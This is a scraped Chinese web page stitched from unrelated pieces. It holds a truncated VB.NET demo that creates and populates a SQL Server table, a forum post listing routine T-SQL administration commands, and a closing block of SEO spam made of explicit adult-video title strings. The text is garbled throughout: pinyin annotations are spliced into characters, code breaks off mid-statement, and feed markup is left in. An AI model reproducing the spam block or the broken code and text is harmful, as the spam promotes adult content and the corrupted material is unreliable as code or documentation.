      "myName CHAR(50) NOT Null, myAddress CHAR(255), myValues FLOAT)"
    cmd = New SqlCommand(sql, conn)
    Try
      cmd.ExecuteNonQuery()
      ' 添加紀(jì)錄
      sql = "INSERT INTO myTable(myId, myName, myAddress, myValues) " + _
        "VALUES (1001, _'【孟憲會之精彩世界】之一', 'http://xml.sz.luohuedu.net/', 100 ) "
      cmd = New SqlCommand(sql, conn)
      cmd.ExecuteNonQuery()
      sql = "INSERT INTO myTable(myId, myName, myAddress, myValues) " + _
        "VALUES (1002, '【孟憲會之精彩世界】之二', 'http://www.erp800.com/net_lover/', 99) "
      cmd = New SqlCommand(sql, conn)
      cmd.ExecuteNonQuery()
      sql = "INSERT INTO myTable(myId, myName, myAddress, myValues) " + _
        "VALUES (1003, '【孟憲會之精彩世界】之三', 'http://xml.sz.luohuedu.net/', 99) "
      cmd = New SqlCommand(sql, conn)
      cmd.ExecuteNonQuery()
      sql = "INSERT INTO myTable(myId, myName, myAddress, myValues) " + _
        "VALUES (1004, '【孟憲會之精彩世界】之四', 'http://www.erp800.com/net_lover/', 100) "
      cmd = New SqlCommand(sql, conn)
      cmd.ExecuteNonQuery()
    Catch ae As SqlException
      MessageBox.Show(ae.Message.ToString())
    End Try

  End Sub
  '創(chuàng)建存儲過程
  Private Sub CreateSPBtn_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles CreateSPBtn.Click
    sql = "CREATE PROCEDURE myProc AS" + " SELECT myName, myAddress FROM myTable GO"
    ExecuteSQLStmt(sql)
  End Sub
  '創(chuàng)建視圖
  Private Sub CreateViewBtn_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles CreateViewBtn.Click
    sql = "CREATE VIEW myView AS SELECT myName FROM myTable"
    ExecuteSQLStmt(sql)

  End Sub
  '修改表
  Private Sub btnAlterTable_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles btnAlterTable.Click
    sql = "ALTER TABLE MyTable ADD newCol datetime NOT NULL DEFAULT (getdate())"
    ExecuteSQLStmt(sql)
  End Sub
  '創(chuàng)建規(guī)則和索引
  Private Sub btnCreateOthers_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles btnCreateOthers.Click
    sql = "CREATE UNIQUE INDEX " + "myIdx ON myTable(myName)"
    ExecuteSQLStmt(sql)

    sql = "CREATE RULE myRule " + "AS @myValues >= 90 AND @myValues < 9999"
    ExecuteSQLStmt(sql)
  End Sub

  '刪除表
  Private Sub btnDropTable_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles btnDropTable.Click
    Dim sql As String = "DROP TABLE MyTable"
    ExecuteSQLStmt(sql)
  End Sub
  '    C
    conn.ConnectionString = ConnectionString
    conn.Open()
    Dim da As New SqlDataAdapter("SELECT * FROM myView", conn)
    Dim ]]>
SQL Server 數(shù)據(jù)庫管理常用的SQL和T-SQhttp://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=67&ID=2515&Page=1wangxinxin2010-12-13 12:34:19select @@version
常見的幾種SQL SERVER打補(bǔ)丁后的版本號:
8.00.194 Microsoft SQL Server 2000
8.00.384 Microsoft SQL Server 2000 SP1
8.00.532 Microsoft SQL Server 2000 SP2
8.00.760 Microsoft SQL Server 2000 SP3
8.00.818 Microsoft SQL Server 2000 SP3 w/ Cumulative Patch MS03-031
8.00.2039 Microsoft SQL Server 2000 SP4
2. 查看數(shù)據(jù)庫所在機(jī)器操作系統(tǒng)參數(shù)
exec master..xp_msver
3. 查看數(shù)據(jù)庫啟動的參數(shù)
sp_configure
4. 查看數(shù)據(jù)庫啟動時間
select convert(varchar(30),login_time,120) from master..sysprocesses where spid=1
查看數(shù)據(jù)庫服務(wù)器名和實例名
print 'Server Name...............: ' + convert(varchar(30),@@SERVERNAME)
print 'Instance..................: ' + convert(varchar(30),@@SERVICENAME)
5. 查看所有數(shù)據(jù)庫名稱及大小
sp_helpdb
重命名數(shù)據(jù)庫用的SQL
sp_renamedb 'old_dbname', 'new_dbname'
6. 查看所有數(shù)據(jù)庫用戶登錄信息
sp_helplogins
查看所有數(shù)據(jù)庫用戶所屬的角色信息
sp_helpsrvrolemember
修復(fù)遷移服務(wù)器時孤立用戶時,可以用的fix_orphan_user腳本或者LoneUser過程
更改某個數(shù)據(jù)對象的用戶屬主
sp_changeobjectowner [@objectname =] 'object', [@newowner =] 'owner'
注意: 更改對象名的任一部分都可能破壞腳本和存儲過程。
把一臺服務(wù)器上的數(shù)據(jù)庫用戶登錄信息備份出來可以用add_login_to_aserver腳本
查看某數(shù)據(jù)庫下,對象級用戶權(quán)限
sp_helprotect
7. 查看鏈接服務(wù)器
sp_helplinkedsrvlogin
查看遠(yuǎn)端數(shù)據(jù)庫用戶登錄信息
sp_helpremotelogin
8.查看某數(shù)據(jù)庫下某個數(shù)據(jù)對象的大小
sp_spaceused @objname
還可以用sp_toptables過程看最大的N(默認(rèn)為50)個表
查看某數(shù)據(jù)庫下某個數(shù)據(jù)對象的索引信息
sp_helpindex @objname
還可以用SP_NChelpindex過程查看更詳細(xì)的索引情況
SP_NChelpindex @objname
clustered索引是把記錄按物理順序排列的,索引占的空間比較少。
對鍵值DML操作十分頻繁的表我建議用非clustered索引和約束,fillfactor參數(shù)都用默認(rèn)值。
查看某數(shù)據(jù)庫下某個數(shù)據(jù)對象的的約束信息
sp_helpconstraint @objname
9.查看數(shù)據(jù)庫里所有的存儲過程和函數(shù)
use @database_name
sp_stored_procedures
查看存儲過程和函數(shù)的源代碼
sp_helptext '@procedure_name'
查看包含某個字符串@str的數(shù)據(jù)對象名稱
select distinct object_name(id) from syscomments where text like '%@str%'
創(chuàng)建加密的存儲過程或函數(shù)在AS前面加WITH ENCRYPTION參數(shù)
解密加密過的存儲過程和函數(shù)可以用sp_decrypt過程
10.查看數(shù)據(jù)庫里用戶和進(jìn)程的信息
sp_who
查看SQL Server數(shù)據(jù)庫里的活動用戶和進(jìn)程的信息
sp_who 'active'
查看SQL Server數(shù)據(jù)庫里的鎖的情況
sp_lock
進(jìn)程號1--50是SQL Server系統(tǒng)內(nèi)部用的,進(jìn)程號大于50的才是用戶的連接進(jìn)程.
spid是進(jìn)程編號,dbid是數(shù)據(jù)庫編號,objid是數(shù)據(jù)對象編號
查看進(jìn)程正在執(zhí)行的SQL語句
dbcc inputbuffer ()
推薦大家用經(jīng)過改進(jìn)后的sp_who3過程可以直接看到進(jìn)程運行的SQL語句
sp_who3
檢查死鎖用sp_who_lock過程
sp_who_lock
11.查看和收縮數(shù)據(jù)庫日志文件的方法
查看所有數(shù)據(jù)庫日志文件大小
dbcc sqlperf(logspace)
如果某些日志文件較大,收縮簡單恢復(fù)模式數(shù)據(jù)庫日志,收縮后@database_name_log的大小單位為M
backup log @database_name with no_log
dbcc shrinkfile (@database_name_log, 5)
12.分析SQL Server SQL 語句的方法:
set statistics time {on | off}
set statistics io {on | off}
圖形方式顯示查詢執(zhí)行計劃
在查詢分析器->查詢->顯示估計的評估計劃(D)-Ctrl-L 或者點擊工具欄里的圖形
文本方式顯示查詢執(zhí)行計劃
set showplan_all {on | off}
set showplan_text { on | off }
set statistics profile { on | off }
13.出現(xiàn)不一致錯誤時,NT事件查看器里出3624號錯誤,修復(fù)數(shù)據(jù)庫的方法
先注釋掉應(yīng)用程序里引用的出現(xiàn)不一致性錯誤的表,然后在備份或其它機(jī)器上先恢復(fù)然后做修復(fù)操作
alter database [@error_database_name] set single_user
修復(fù)出現(xiàn)不一致錯誤的表
dbcc checktable('@error_table_name',repair_allow_data_loss)
或者可惜選擇修復(fù)出現(xiàn)不一致錯誤的小型數(shù)據(jù)庫名
dbcc checkdb('@error_database_name',repair_allow_data_loss)
alter database [@error_database_name] set multi_user
CHECKDB 有3個參數(shù):
repair_allow_data_loss 包括對行和頁進(jìn)行分配和取消分配以改正分配錯誤、結(jié)構(gòu)行或頁的錯誤,以及刪除已損壞的文本對象,這些修復(fù)可能會導(dǎo)致一些數(shù)據(jù)丟失。
修復(fù)操作可以在用戶事務(wù)下完成以允許用戶回滾所做的更改。
如果回滾修復(fù),則數(shù)據(jù)庫仍會含有錯誤,應(yīng)該從備份進(jìn)行恢復(fù)。
如果由于所提供修復(fù)等級的緣故遺漏某個錯誤的修復(fù),則將遺漏任何取決于該修復(fù)的修復(fù)。
修復(fù)完成后,請備份數(shù)據(jù)庫。
repair_rest 進(jìn)行小的、不耗時的修復(fù)操作,如修復(fù)非聚集索引中的附加鍵。
這些修復(fù)可以很快完成,并且不會有丟失數(shù)據(jù)的危險。
repair_rebuild 執(zhí)行由 repair_rest 完成的所有修復(fù),包括需要較長時間的修復(fù)(如重建索引)。
執(zhí)行這些修復(fù)時不會有丟失數(shù)據(jù)的危險。 ]]>
主站蜘蛛池模板: 国产精品va在线观看无码| 最近国语免费看| 国产偷窥熟女精品视频| 99久热只有精品视频免费观看17| 日本三级免费看| 亚洲日韩国产欧美一区二区三区| 男男同志chinese中年壮汉| 国产微拍精品一区| 97视频久久久| 好妻子韩国片在线| 久久人人爽爽爽人久久久| 欧美一级日韩一级| 依依成人精品视频在线观看 | 99久久人妻精品免费一区| 性做久久久久久| 久久精品国产99精品国产2021| 欧美国产日韩综合| 免费一级特黄特色大片在线| 精品日韩一区二区| 国产在视频线在精品| 88av在线播放| 国美女福利视频午夜精品| 中国特级黄一级**毛片| 无码国内精品人妻少妇蜜桃视频 | 国产欧美日韩一区| 99久久超碰中文字幕伊人| 好大好爽好舒服视频| 久久久久久综合网天天| 日韩一区二区三| 亚洲国产一成人久久精品| 欧美极品少妇×XXXBBB| 免费无码一区二区三区蜜桃大| 经典国产乱子伦精品视频| 国产床戏无遮挡免费观看网站| 91国高清视频| 国内精品久久久久久久97牛牛 | 国产免费一区二区三区在线观看 | 久久久久久国产精品三级| 日韩精品内射视频免费观看| 亚洲日韩精品欧美一区二区一| 污网站免费观看污网站|